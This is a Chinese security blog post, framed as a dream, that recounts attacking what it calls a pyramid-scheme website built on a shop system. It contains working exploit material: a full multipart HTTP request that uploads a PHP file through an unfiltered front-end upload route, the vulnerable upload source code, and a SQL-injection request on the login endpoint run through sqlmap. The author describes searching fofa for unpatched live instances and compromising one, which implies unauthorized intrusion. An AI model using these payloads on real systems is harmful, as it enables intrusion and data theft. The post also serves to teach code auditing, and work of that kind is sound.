点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
前言:一场离奇的梦中渗透
第一章 梦中的信息收集
第二章 梦境中的漏洞复现
第三章 梦境突破
前台上传点分析
前台SQL注入挖掘
第四章 梦醒时分
昨晚在备公开课的课件(精选挑选案例源码)中,不曾想由于太过劳累,趴在电脑前不慎睡着,竟在梦中看到一个神秘的网站界面。更诡异的是,梦中的我鬼使神差地对它展开了渗透测试...
第一章 梦中的信息收集
打开目标
通过网站名称查找信息,发现是个资金盘,搞传销诈骗的
通过翻找js,看下能否发现特有指纹
fofa启动
翻看几个目标发现确实大部分是同类型网站(除UI不同),在网上寻找系统信息,发现使用的是某商城系统,这套系统有披露过个前台文件上传
第二章 梦境中的漏洞复现
POST /Login/shangchuan HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBP56KuZOdlY4nLGg
Host: {{ip:port}}
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1
------WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
<?php phpinfo();?>
------WebKitFormBoundary03rNBzFMIytvpWhy--
于是乎只能转头看向其它目标,看能不能找到个没修的,还真让我发现有一个
第三章 梦境突破
这个是顺带分析的
根据漏洞复现路由定位对应class文件和方法
对应文件:Home/Controller/LoginController.class.php
对应方法:shangchuan()
跟进upload_file
/**
* 上传文件函数
*
* 该函数负责处理文件上传过程,根据提供的文件信息和类型,将文件上传到指定目录
* 它首先确定文件的存储路径,并创建路径对应的目录,然后将文件移动到该路径下
*
* @param array $files 文件信息数组,包含文件的临时路径、文件名等信息
* @param string $type 文件类型,目前在函数中未使用,但可能用于未来扩展
*
* @return array|string 返回一个包含文件上传结果的数组,或在上传失败时返回错误信息
*/
functionupload_file($files,$type){
// 获取文件名
$name = array_keys($files);
$name = $name[0];
// 获取文件扩展名
$ext = extend($files[$name]['name']);
// 定义上传目录,根据当前日期动态创建目录路径
$img_url = "./Uploads/txt/".date('Y-m-d',time()).'/';
// 检查上传目录是否存在,如果不存在则创建
if(!file_exists($img_url)) {
mkdir($img_url,0777,true);
//echo $img_url; die;
}
// 生成唯一文件名,防止重名
$image_name = time().rand(100,999).".".$ext;//图片名字
// 获取文件的临时名字
$tmp = $files[$name]['tmp_name'];//临时名字
// 尝试将文件从临时路径移动到上传目录下
if(move_uploaded_file($tmp,$img_url.$image_name)){
// 如果上传成功,返回文件的相对路径
$arr['re']=ltrim($img_url.$image_name,'.');
$arr['code']=200;
return $arr;
// return ltrim($img_url.$image_name,'.');
}else{
// 如果上传失败,返回错误信息
return 'error';
}
}
代码完全没有任何过滤,直接文件上传,造成RCE
前台SQL注入挖掘
thinkphp框架,搜索关键词where(
大部分都是参数绑定形式,还是让我找到了一处危险写法
对应文件:Home/Controller/LoginController.class.php
对应方法:login_action()
这里where的内容不是参数绑定也不是数组形式,只有一个参数不会触发框架预防机制,存在注入,$member_number通过Thinkphp I()函数获取,也就是可控
测试数据包
POST /Login/login_action.html HTTP/1.1
Host: {{ip:port}}
Connection: keep-alive
Content-Length: 47
sec-ch-ua-platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=i7fc7spel83kcd4t7afg4fdhl0
member_number=123123*&member_pwd=123123123&ty=on
sqlmap结果
当sqlmap成功后,就在我准备进一步dump数据时,眼前的终端突然闪烁,像是信号不良的老旧电视。我猛地伸手去抓,却发现键盘消失了,屏幕上的字符开始扭曲、溶解。
"等等!我还没记下域名!"
但梦境不讲道理,它像退潮的海水一样迅速抽离。我拼命回忆,却只能捕捉到几个零散的片段:
-
一个红色的LOGO(但具体是什么图案?)
-
登录界面的背景是星空图(但网址呢?网址呢?!)
我甚至不确定这个网站是否真的存在,还是我的大脑把某个系统源码、某个渗透测试项目、某个随手翻过的漏洞报告,全部糅合在一起,编织出的一场渗透幻梦。
回归现实:接着写课件
闹钟响了。
我盯着电脑屏幕,发现课件才写到一半,浏览器里只有搭建的本地环境,没有任何其它域名的访问记录。
"算了,先干活吧。"
我关掉终端,继续写我的公开课课件。但手指刚碰到键盘,突然停住了——
等等,那个SQL注入的Payload,是不是真的能用?
我鬼使神差地打开yakit,在历史记录里翻找,但什么也没找到。
也许,它真的只是一个梦。
或者……
它只是还没被发现。
最后
二期公开课《PHP代码审计速成》持续更新中...
直播通知和课件都会在交流群中发布,有需要的师傅可以加我VX,备注:交流群,我拉你进群
原文始发于微信公众号(菜狗安全):【吾好梦中测站】一次资金盘渗透的源码爬取与0day挖掘实录
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论